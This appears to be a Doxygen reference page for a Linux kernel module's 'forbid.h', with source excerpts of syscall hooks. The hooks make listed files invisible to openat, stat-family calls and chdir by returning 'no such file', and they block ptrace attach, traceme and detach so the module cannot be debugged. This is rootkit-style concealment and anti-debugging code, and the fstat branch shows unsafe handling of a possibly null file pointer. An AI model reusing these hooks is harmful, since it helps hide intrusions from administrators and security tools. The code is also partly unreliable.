forbid.h File Reference

#include <linux/file.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/namei.h>
#include <linux/ptrace.h>
#include <linux/spinlock.h>
#include <linux/types.h>
#include <linux/uaccess.h>
#include "config.h"

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Classes
struct	forbidden_file

Functions
int	add_forbidden_file (const char *path)
int	remove_forbidden_file (const char *path)
int	list_forbidden_files (char *buf, size_t buf_size)
bool	path_is_forbidden (const char __user *u_path)
asmlinkage long notrace	openat_hook (const struct pt_regs *regs)
asmlinkage long notrace	stat_hook (const struct pt_regs *regs)
asmlinkage long notrace	chdir_hook (const struct pt_regs *regs)
asmlinkage void notrace	ptrace_hook (struct pt_regs *regs)

Variables
struct list_head	forbidden_files_list
spinlock_t	forbidden_files_lock
asmlinkage long(*	__orig_openat )(const struct pt_regs *)
asmlinkage long(*	__orig_newfstatat )(const struct pt_regs *)
asmlinkage long(*	__orig_fstat )(const struct pt_regs *)
asmlinkage long(*	__orig_lstat )(const struct pt_regs *)
asmlinkage long(*	__orig_stat )(const struct pt_regs *)
asmlinkage long(*	__orig_chdir )(const struct pt_regs *regs)
asmlinkage long(*	__orig_ptrace )(const struct pt_regs *regs)

Function Documentation

add_forbidden_file()

int add_forbidden_file

(

const char *

path

)

chdir_hook()

asmlinkage long notrace chdir_hook

(

const struct pt_regs *

regs

)

Definition at line 66 of file forbid.c.

                                                               {
    const char __user *u_path = (const char __user *)regs->di;
    if (forbid_contains(u_path))
        return -ENOENT;
    return __orig_chdir(regs);
}

list_forbidden_files()

int list_forbidden_files	(	char *	buf,
		size_t	buf_size
	)

openat_hook()

asmlinkage long notrace openat_hook

(

const struct pt_regs *

regs

)

Definition at line 13 of file forbid.c.

                                                                {
    const char __user *u_path = (const char __user *)regs->si;
    if (forbid_contains(u_path))
        return -ENOENT;
    return __orig_openat(regs);
}

path_is_forbidden()

bool path_is_forbidden

(

const char __user *

u_path

)

ptrace_hook()

asmlinkage void notrace ptrace_hook

(

struct pt_regs *

regs

)

Definition at line 73 of file forbid.c.

                                                          {
    long request = regs->di;
 
    // Check pid for special processes ? Don't know if this function is very
    // useful... pid_t pid = regs->si;
 
    if (request == PTRACE_ATTACH || request == PTRACE_TRACEME || request == PTRACE_DETACH) {
        regs->ax = -EPERM;
    }
    else {
        regs->ax = __orig_ptrace(regs);
    }
}

remove_forbidden_file()

int remove_forbidden_file

(

const char *

path

)

stat_hook()

asmlinkage long notrace stat_hook

(

const struct pt_regs *

regs

)

Definition at line 20 of file forbid.c.

                                                              {
    const char __user *u_path = NULL;
 
    switch ((int)regs->orig_ax) {
    case __NR_stat:
    case __NR_lstat:
        u_path = (const char __user *)regs->di;
        break;
    case __NR_newfstatat:
        u_path = (const char __user *)regs->si;
        break;
    case __NR_fstat:
        int fd = (int)regs->di;
        struct file *filp = fget(fd);
 
        // Not sure, but seems to work
        if (filp) {
            struct path p = filp->f_path;
            path_get(&p);
            char buf_path[512];
            char *full = d_path(&p, buf_path, sizeof(buf_path));
            path_put(&p);
            if (full && forbid_contains_str(full)) {
                fput(filp);
                return -ENOENT;
            }
        }
        fput(filp);
        return __orig_fstat(regs);
    }
 
    if (forbid_contains(u_path))
        return -ENOENT;
 
    switch ((int)regs->orig_ax) {
    case __NR_stat:
        return __orig_stat(regs);
    case __NR_lstat:
        return __orig_lstat(regs);
    case __NR_newfstatat:
        return __orig_newfstatat(regs);
    default:
        return -ENOENT;
    }
}

Variable Documentation

__orig_chdir

asmlinkage long(* __orig_chdir) (const struct pt_regs *regs) ( const struct pt_regs *  regs )

extern

Definition at line 10 of file forbid.c.

__orig_fstat

asmlinkage long(* __orig_fstat) (const struct pt_regs *) ( const struct pt_regs *  )

extern

Definition at line 8 of file forbid.c.

__orig_lstat

asmlinkage long(* __orig_lstat) (const struct pt_regs *) ( const struct pt_regs *  )

extern

Definition at line 7 of file forbid.c.

__orig_newfstatat

asmlinkage long(* __orig_newfstatat) (const struct pt_regs *) ( const struct pt_regs *  )

extern

Definition at line 6 of file forbid.c.

__orig_openat

asmlinkage long(* __orig_openat) (const struct pt_regs *) ( const struct pt_regs *  )

extern

Definition at line 5 of file forbid.c.

__orig_ptrace

asmlinkage long(* __orig_ptrace) (const struct pt_regs *regs) ( const struct pt_regs *  regs )

extern

Definition at line 11 of file forbid.c.

__orig_stat

asmlinkage long(* __orig_stat) (const struct pt_regs *) ( const struct pt_regs *  )

extern

Definition at line 9 of file forbid.c.

forbidden_files_list

struct list_head forbidden_files_list

extern

forbidden_files_lock

spinlock_t forbidden_files_lock

extern